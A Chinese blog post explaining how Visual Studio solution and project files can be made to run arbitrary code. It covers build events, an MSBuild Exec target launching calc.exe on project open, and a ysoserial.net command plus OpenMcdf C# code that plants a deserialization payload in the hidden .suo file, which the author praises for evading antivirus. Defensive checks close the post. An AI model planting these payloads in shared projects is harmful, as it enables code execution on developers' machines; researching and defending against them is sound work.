sln任意代码执行的几种方式(evilsln)

参考文章EvilSln

调试命令行

以下图方式设置,可以在不影响调试的情况下执行任意代码

生成事件

一共有三个事件,都可以用来执行代码

自定义生成工具

随便创建一个特殊后缀名的文件,右键打开属性

按下图方式设置

接着来到自定义生成工具这里,命令行可以用于执行任意代码

一个小坑:输出这里也要写不然不会执行(随便填一个就行)

编译,成功执行

MSBuild任务

上面的几种方式都需要编译才会触发,使用MSBuild任务可实现打开项目就触发

不只是.net项目,其他所有类型的项目都可以利用

将以下代码添加进proj文件中

1
2
3
<Target Name="GetFrameworkPaths">
<Exec Command="calc.exe"/>
</Target>

这里以C++控制台项目作为演示。添加代码,打开项目,成功执行

suo文件反序列化漏洞

suo文件反序列化漏洞有以下优点:

  • 打开项目就执行,无需后续操作
  • .suo文件默认隐藏,且.suo文件以二进制形式存储,恶意代码也经过了序列化,很难被发现
  • Visual Studio在关闭时会将新内容保存到.suo文件中,因此payload会被清除(也就是只有第一次打开时会执行)
  • 相比以上的方法,suo文件反序列化漏洞并不被人所熟知,在检查恶意代码时会很自然的把.vs隐藏文件夹忽略
  • 自带免杀(自行测试,无需多言)

使用Visual Studio打开项目本来就是危险操作,所以微软并不认为这是漏洞,也不会修复(Discussion

原文并没有提供详细利用方法,这里把我研究的内容发出来(应该是全网首发哈哈)

生成payload

经过测试,使用ysoserial.net以以下命令行生成payload

1
ysoserial -g ClaimsIdentity -f BinaryFormatter -c calc -o base64 -bgc TypeConfuseDelegate

将payload添加到suo文件中

suo文件结构网上的资料非常少(可以说是根本没有),不过这个项目suo启发了我

使用openmcdf库就可以对suo文件可以进行读写

以下为示例代码

1
2
3
4
5
6
using OpenMcdf;

CompoundFile cf = new CompoundFile("输入suo文件路径");
cf.RootStorage.GetStream("VsToolboxService").SetData("payload内容");
cf.Save("输出suo文件路径");
cf.Close();

这里我已经写好了完整利用工具,详见VS_Deserialize_Exploit

poc

应对攻击

  • 不打开不可信的项目(star数多并不代表项目就可信,公司内网的项目也可能被投毒,你的朋友和同学也可能是黑客假冒的,请一定擦亮双眼谨慎辨别)

如果必须要打开,请按以下步骤操作

  • 打开项目前,检查proj文件是否存在可疑内容
  • 打开项目前,删除整个.vs隐藏文件夹
  • 打开项目前,检查项目文件是否存在利用unicode控制字符的钓鱼行为(unicode控制字符钓鱼也是老生常谈的话题了。有时候,看似愚蠢的攻击方式反而十分奏效)

可使用CheckEvilSln工具辅助检查


sln任意代码执行的几种方式(evilsln)
https://crackme.net/articles/evil_sln/
作者
Brassinolide
发布于
2024年9月22日
许可协议